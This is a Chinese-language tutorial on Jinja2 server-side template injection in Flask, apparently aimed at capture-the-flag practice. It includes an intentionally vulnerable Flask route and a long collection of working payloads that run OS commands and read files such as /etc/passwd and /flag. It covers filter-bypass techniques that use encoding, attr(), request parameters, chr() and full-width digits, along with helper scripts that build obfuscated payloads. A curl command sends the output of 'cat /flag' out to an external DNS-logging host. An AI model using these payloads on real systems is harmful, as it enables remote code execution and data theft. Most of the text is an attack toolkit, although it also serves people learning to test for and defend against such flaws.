SSTI之細說jinja2的常用構造及利用思路

現在關於ssti注入的文章數不勝數,但大多數是關於各種命令語句的構造語句,且沒有根據版本、過濾等具體細分,導致讀者可能有一種千篇一律的感覺。所以最近詳細整理了一些SSTI常用的payload、利用思路以及題目,謹以結合題目分析以及自己的理解給uu們提供一些參考,如有寫錯的地方,還望大佬們輕噴。

在介紹下ssti(服務端模板注入)的具體成因及案例之前,有必要先引入模板引擎的概念。

模板引擎介紹

模板引擎(這裏特指用於Web開發的模板引擎)是爲了使用戶界面與業務數據(內容)分離而產生的,它可以生成特定格式的文檔,用於網站的模板引擎就會生成一個標準的HTML文檔。 其不屬於特定技術領域,它是跨領域跨平臺的概念。在Asp下有模板引擎,在PHP下也有模板引擎,在C#下也有,甚至JavaScript、WinForm開發都會用到模板引擎技術。模板引擎也會提供沙箱機制來進行漏洞防範,但是可以用沙箱逃逸技術來進行繞過。

SSTI(服務端模板注入)攻擊

SSTI(server-side template injection)爲服務端模板注入攻擊,它主要是由於框架的不規範使用而導致的。主要爲python的一些框架,如 jinja2 mako tornado django flask、PHP框架smarty twig thinkphp、java框架jade velocity spring等等使用了渲染函數時,由於代碼不規範或信任了用戶輸入而導致了服務端模板注入,模板渲染其實並沒有漏洞,主要是程序員對代碼不規範不嚴謹造成了模板注入漏洞,造成模板可控。注入的原理可以這樣描述:當用戶的輸入數據沒有被合理的處理控制時,就有可能數據插入了程序段中變成了程序的一部分,從而改變了程序的執行邏輯

各框架模板結構如下圖所示:

實例

這裏使用python的flask框架測試ssti注入攻擊的過程。

from flask import Flask, render_template, request, render_template_string
​
app = Flask(__name__)
​
​
@app.route('/ssti', methods=['GET', 'POST'])
def sb():
    template = '''
        <div class="center-content error">
            <h1>This is ssti! %s</h1>
        </div>
    ''' % request.args["x"]
​
    return render_template_string(template)
​
​
if __name__ == '__main__':
    app.debug = True
    app.run()

本地測試如下:

image-20230323230641731

發現存在模板注入

獲得字符串的type實例

?name={{"".__class__}}

image-20230323230702205

這裏使用的置換型模板,將字符串進行簡單替換,其中參數x的值完全可控。發現模板引擎成功解析。說明模板引擎並不是將我們輸入的值當作字符串,而是當作代碼執行了。

{{}}在Jinja2中作爲變量包裹標識符,Jinja2在渲染的時候會把{{}}包裹的內容當做變量解析替換。比如{{1+1}}會被解析成2。如此一來就可以實現如同sql注入一樣的注入漏洞。

以flask的jinja2引擎爲例,官方的模板語法如下:

{% ... %} 用於聲明,比如在使用for控制語句或者if語句時

{{......}} 用於打印到模板輸出的表達式,比如之前傳到到的變量(更準確的叫模板上下文),例如上文 '1+1' 這個表達式

{# ... #} 用於模板註釋

# ... ## 用於行語句,就是對語法的簡化

#...#可以有和{%%}相同的效果

由於參數完全可控,則攻擊者就可以通過精心構造惡意的 Payload 來讓服務器執行任意代碼,造成嚴重危害。下圖通過 SSTI 命令執行成功執行 whoami 命令:

{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}

image-20230323230716054

可以看到命令被成功執行了。下面講下構造的思路:

一開始是通過class通過 base 拿到object基類,接着利用 subclasses() 獲取對應子類。在全部子類中找到被重載的類即爲可用的類,然後通過init去獲取globals全局變量,接着通過builtins獲取eval函數,最後利用popen命令執行、read()讀取即可。

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

上述構造及實例沒有涉及到過濾,不需要考慮繞過,所以只是ssti注入中較簡單的一種。但是當某些字符或者關鍵字被過濾時,情況較爲複雜。實際上不管對於哪種構造來說,都離不開最基本也是最常用的方法。下面是總結的一些常用到的利用方法和過濾器。

常用的方法

__class__            類的一個內置屬性,表示實例對象的類。
__base__             類型對象的直接基類
__bases__            類型對象的全部基類,以元組形式,類型的實例通常沒有屬性 __bases__
__mro__              查看繼承關係和調用順序,返回元組。此屬性是由類組成的元組,在方法解析期間會基於它來查找基類。
__subclasses__()     返回這個類的子類集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化類,返回的類型是function
__globals__          使用方式是 函數名.__globals__獲取function所處空間下可使用的module、方法以及所有變量。
__dic__              類的靜態函數、類函數、普通函數、全局變量以及一些內置的屬性都是放在類的__dict__裏
__getattribute__()   實例、類、函數都具有的__getattribute__魔術方法。事實上,在實例化的對象進行.操作的時候(形如:a.xxx/a.xxx()),都會自動去調用__getattribute__方法。因此我們同樣可以直接通過這個方法來獲取到實例、類、函數的屬性。
__getitem__()        調用字典中的鍵值,其實就是調用這個魔術方法,比如a['b'],就是a.__getitem__('b')
__builtins__         內建名稱空間,內建名稱空間有許多名字到對象之間映射,而這些名字其實就是內建函數的名稱,對象就是這些內建函數本身.
__import__           動態加載類和函數,也就是導入模塊,經常用於導入os模塊,__import__('os').popen('ls').read()]
__str__()            返回描寫這個對象的字符串,可以理解成就是打印出來。
url_for              flask的一個方法,可以用於得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一個方法,可以用於得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一個方法,可以用於得到__builtins__,而且lipsum.__globals__含有os模塊:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app          應用上下文,一個全局變量。
config               當前application的所有配置。此外,也可以這樣{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g                    {{g}}得到<flask.g of 'flask_ssti'>
dict.get(key, default=None) 返回指定鍵的值,如果值不在字典中返回default值
dict.setdefault(key, default=None) 和get()類似, 但如果鍵不存在於字典中,將會添加鍵並將值設爲default
request              可以用於獲取字符串來繞過,包括下面這些,引用一下羽師傅的。
此外,同樣可以獲取open函數:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1      get傳參
request.values.x1    所有參數
request.cookies      cookies參數
request.headers      請求頭參數
request.form.x1      post傳參 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data         post傳參 (Content-Type:a/b)
request.json         post傳json  (Content-Type: application/json)
[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8]   //針對jinjia2/flask爲[9]適用
或者
[].__class__.__bases__[0]       //其他的類似
__new__功能:用所給類創建一個對象,並且返回這個對象。
​

常用的過濾器

詳細說明可以參考官方文檔:https://jinja.palletsprojects.com/en/latest/templates/,這裏列出一些常用的,有待補充。

​
issubclass(A,B): 判斷A類是否是B類的子類
 
int():將值轉換爲int類型;
​
float():將值轉換爲float類型;
​
lower():將字符串轉換爲小寫;
​
upper():將字符串轉換爲大寫;
​
title():把值中的每個單詞的首字母都轉成大寫;
​
capitalize():把變量值的首字母轉成大寫,其餘字母轉小寫;
​
trim():截取字符串前面和後面的空白字符;
​
wordcount():計算一個長字符串中單詞的個數;
​
reverse():字符串反轉;
​
replace(value,old,new): 替換將old替換爲new的字符串;
​
truncate(value,length=255,killwords=False):截取length長度的字符串;
​
striptags():刪除字符串中所有的HTML標籤,如果出現多個空格,將替換成一個空格;
​
escape()或e:轉義字符,會將<、>等符號轉義成HTML中的符號。顯例:content|escape或content|e。
​
safe(): 禁用HTML轉義,如果開啓了全局轉義,那麼safe過濾器會將變量關掉轉義。示例: {{'<em>hello</em>'|safe}};
​
list():將變量列成列表;
​
string():將變量轉換成字符串;
​
join():將一個序列中的參數值拼接成字符串。示例看上面payload;
​
abs():返回一個數值的絕對值;
​
first():返回一個序列的第一個元素;
​
last():返回一個序列的最後一個元素;
​
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}將輸出:Helloo? - Foo!
​
length():返回一個序列或者字典的長度;
​
sum():返回列表內數值的和;
​
sort():返回排序後的列表;
​
default(value,default_value,boolean=false):如果當前變量沒有值,則會使用參數中的值來代替。示例:name|default('xiaotuo')----如果name不存在,則會使用xiaotuo來替代。boolean=False默認是在只有這個變量爲undefined的時候纔會使用default中的值,如果想使用python的形式判斷是否爲false,則可以傳遞boolean=true。也可以使用or來替換。
​
length()返回字符串的長度,別名是count
​
select() 通過對每個對象應用測試並僅選擇測試成功的對象來篩選對象序列。如果沒有指定測試,則每個對象都將被計算爲布爾值
可以用來獲取字符串
實際使用爲
()|select|string
結果如下
<generator object select_or_reject at 0x0000022717FF33C0>

常用的構造語句

接着是總結的一些常用的命令執行語句。

無過濾

# 讀文件
#讀取文件類,<type ‘file’> file位置一般爲40,直接調用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)
​
​
#直接使用popen命令,python2是非法的,只限於python3
os._wrap_close 類裏有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
​
​
#調用os的popen執行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3專屬
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}
​
​
#調用eval函數讀取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} 
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
​
​
#調用 importlib類
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}
​
​
#調用linecache函數
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
​
​
#調用communicate()函數
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
​
​
#寫文件
寫文件的話就直接把上面的構造裏的read()換成write()即可,下面舉例利用file類將數據寫入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}}  ----python2的str類型不直接從屬於屬於基類,所以要兩次 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}
​
​
#通用 getshell
原理就是找到含有 __builtins__ 的類,然後利用。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
​
​

上面這些語句也不是說一成不變的隨意套題目,還需要根據是否有過濾、框架是否有該可利用類、python版本高低等進行構造利用鏈,等下面說到利用思路時再結合例題分析,接着總結有過濾的情況。

有過濾

繞過 .

中括號[]繞過

可以利用 [ ]代替 . 的作用。

{{().__class__}} 可以替換爲:
{{()["__class__"]}}
舉例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}

attr()繞過

使用原生 JinJa2 的 attr() 函數。

image-20230324185512019

{{().__class__}} 可以替換爲:
{{()|attr("__class__")}}
{{getattr('',"__class__")}}
舉例:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

 

繞過單雙引號

request繞過

flask中存在着request內置對象可以得到請求的信息,request可以用5種不同的方式來請求信息,我們可以利用他來傳遞參數繞過。

request.args.namerequest.cookies.namerequest.headers.namerequest.values.namerequest.form.name

{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd    
#分析:
request.args 是flask中的一個屬性,爲返回請求的參數,這裏把path當作變量名,將後面的路徑傳值進來,進而繞過了引號的過濾。
若args被過濾了,還可以使用values來接受GET或者POST參數。
​
其他方法的例子,可根據題目過濾的東西動態調整方法來進行繞過
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd

chr繞過

如果使用GET請求時,+號記得url編碼,要不會被當作空格處理。

{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

 

繞過關鍵字

反轉或+號

使用切片將逆置的關鍵字順序輸出,進而達到繞過。

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反轉
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

利用"+"進行字符串拼接,繞過關鍵字過濾。

{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}} 

join拼接

利用join()函數來繞過關鍵字過濾,和使用+號連接大差不差。

{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}

利用引號繞過

以用 或 的形式來繞過:fl""ag``fl''ag

{{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}

使用str原生函數replace替換

將額外的字符拼接進原本的關鍵字裏面,然後利用replace函數將其替換爲空。

{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}

ascii轉換

將每一個字符都轉換爲ascii值後再拼接在一起。

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

16進制編碼繞過

我們可以利用對關鍵字編碼的方法,繞過關鍵字過濾,例如用16進制編碼繞過:

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
​
例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}

base64編碼

對於python2的話,還可以利用base64進行繞過,對於python3沒有decode方法,所以不能使用該方法進行繞過。

"__class__"==("X19jbGFzc19f").decode("base64")
​
例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等價於
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

unicode編碼

{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()

Hex編碼

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
​
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等價於
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
​
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

8進制編碼

{{''['\137\137\143\154\141\163\163\137\137'].__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\137\137\151\155\160\157\162\164\137\137']('os').popen('whoami').read()}}

可見,對於這些編碼進行繞過,就是將是字符串的關鍵字進行編碼,然後進行對應解碼即可,rot13等其他編碼也是同理。

利用chr函數

因爲我們沒法直接使用chr函數,所以需要通過__builtins__找到他

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

在jinja2可以使用~進行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

繞過init

可以用__enter____exit__替代

{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
 
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
繞過config

過濾了config,直接用self.dict就能找到裏面的config

{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context}}

 

繞過中括號[ ]

利用 getitem繞過

先用列表演示說明getitem()函數的作用是輸出序列屬性中的某個索引處的元素。

Python 3.7.8
>>> ["a","kawhi","c"][1]
'kawhi'
>>> ["a","kawhi","c"].pop(1)
'kawhi'
>>> ["a","kawhi","c"].__getitem__(1)
'kawhi'
{{"".__class__.__mro__[2]}  可以替換爲:
{{"".__class__.__mro__.__getitem__(2)
​
例子:
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()}
等價於
{{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}

魔術方法中的[]

調用魔術方法本來是不用中括號的,但是如果過濾了關鍵字,要進行拼接的話就不可避免要用到中括號,像這裏如果同時過濾了class和中括號,可以使用getattribute進行繞過。

object.__getattribute__(self, name)是一個對象方法,當訪問某個對象的屬性時,會無條件的調用這個方法。

{{"".__getattribute__("__cla"+"ss__").__base__}}

配合request

{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__
例子:
{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami

pop()繞過

{{''.__class__.__mro__.__getitem__(5).__subclasses__().pop(48)('/flag').read()}}       // 指定序列屬性
​
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(58).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}}       // 指定字典屬性

但是應慎用pop()方法,因爲在python中pop()會刪除相應位置的值,在列表裏就是默認輸出最後一個元素並將其刪除。

 

繞過大括號{{}}

①使用{%%} 裝載一個循環控制語句來繞過:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

②用print進行標記,得到回顯

{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}

③使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 將執行結果外帶出來,不外帶的話執行結果無回顯。

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:8080/?i=`whoami`').read()=='p' %}1{% endif %}

繞過下劃線__

利用request對象繞過

{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
​
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
​
等價於
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
​
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

繞過" ' []

對於多個過濾的話,就在無過濾的基礎上,將過濾的字符用上面各自對應的方法進行逐一替換後在拼接即可。

像這裏的過濾了單雙引號及中括號,那就用request方法代替''',用pop方法替換中括號

payload

{{().__class__.__base__.__subclasses__().pop(185).__init__.__globals__.__builtins__.eval(request.values.arg3).read()}}&arg3=__import__('os').popen('cat /f*')

繞過 " ' [] _

利用request.cookies.name,接着使用flask自帶的attr

`' '|attr('__class__')`等價於`' '.__class__`

這是一個 過濾器,它只查找屬性,獲取並返回對象的屬性的值,過濾器與變量用管道符號( )分割。如:attr()``attr()``|

foo|attr("bar")   等同於   foo["bar"]

對於多種符號同時過濾,考慮用|attr( )結合其他方法進行繞過有強大的功能。

lipsum是一個方法,其調用__globals__可以直接使用os執行命令

{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
例子:
{{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie: a=__globals__;b=cat /f*

繞過 " ' [] _ os

多過濾了os關鍵字,可以使用request.cookies.a繞過即可,在剛剛繞過 " ' [] _的基礎上在最後的傳參數將os傳入即可達到繞過。payload

{{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie: a=__globals__;b=os;c=cat /f*

繞過 " ' [] _ os {{ }}

在剛剛的基礎上再多過濾大括號,使用print來標記使其有回顯。payload

?name={%print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read())%}
Cookie: a=__globals__;b=os;c=cat /f*

繞過 " ' arg [] _ os {{ }} request

使用~拼接pop組合出的各個字符,最後在拼接在一起達到繞過。payload

{% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}
​
等價於:
{% print lipnum|attr('__globals__').get('os').popen('cat /flag').read()%}

或者使用chr

{%set po=dict(po=a,p=a)|join%} #pop
{%set xia=(()|select|string|list).pop(24)%} #_
{%set ini=(xia,xia,dict(init=a)|join,xia,xia)|join%} #__init__
{%set glo=(xia,xia,dict(globals=a)|join,xia,xia)|join%} #__globals__
{%set built=(xia,xia,dict(builtins=a)|join,xia,xia)|join%} # __builtins__
{%set a=(lipsum|attr(glo)).get(built)%}
{%set chr=a.chr%} #chr()
例子:
{%print a.eval( chr(39)~chr(39)~chr(46)~chr(95)~chr(95)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(98)~chr(97)~chr(115)~chr(101)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(115)~chr(117)~chr(98)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(101)~chr(115)~chr(95)~chr(95)~chr(40)~chr(41)~chr(91)~chr(55)~chr(55)~chr(93)~chr(46)~chr(95)~chr(95)~chr(105)~chr(110)~chr(105)~chr(116)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(103)~chr(108)~chr(111)~chr(98)~chr(97)~chr(108)~chr(115)~chr(95)~chr(95)~chr(91)~chr(39)~chr(111)~chr(115)~chr(39)~chr(93)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(108)~chr(115)~chr(39)~chr(41)~chr(46)~chr(114)~chr(101)~chr(97)~chr(100)~chr(40)~chr(41))%}
​
等價於:
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}

使用下面的腳本來獲得ascii碼

<?php
​
//使用chr繞過ssti過濾引號
$str="''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()";
$result='';
for($i=0;$i<strlen($str);$i++){
    $result.='chr('.ord($str[$i]).')~';
}
echo substr($result,0,-1);

繞過 " ' [] _ os {{ }} 數字

數字可以使用全角數字替代。payload

{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

將半角數字轉換爲全角的腳本如下:

# 繞過ban數字
def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
t=''
​
while 1:
    s = input("輸入想要的數字")
    for i in s:
        t+=half2full(i)
    print(t)

繞過 " ' arg [] _ os {{ }} 數字 print

使用全角數字和chr進行命令執行,但是結果要使用在線dns外帶。

<?php
​
//使用chr繞過ssti過濾引號
$str="__import__('os').popen('curl http://`cat /flag`.eekough.ceye.io')";
$result='';
for($i=0;$i<strlen($str);$i++){
    $result.='chr('.ord($str[$i]).')~';
}
echo substr($result,0,-1);

將普通數字變成全角的腳本如下:

#正則匹配出字符串中的數字,然後返回全角數字
import re
str="""chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41)
"""
result=""
def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
for i in re.findall('\d{2,3}',str):
    result+="chr("+half2full(i)+")~"
    print(i)
print(result[:-1])

payload:

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
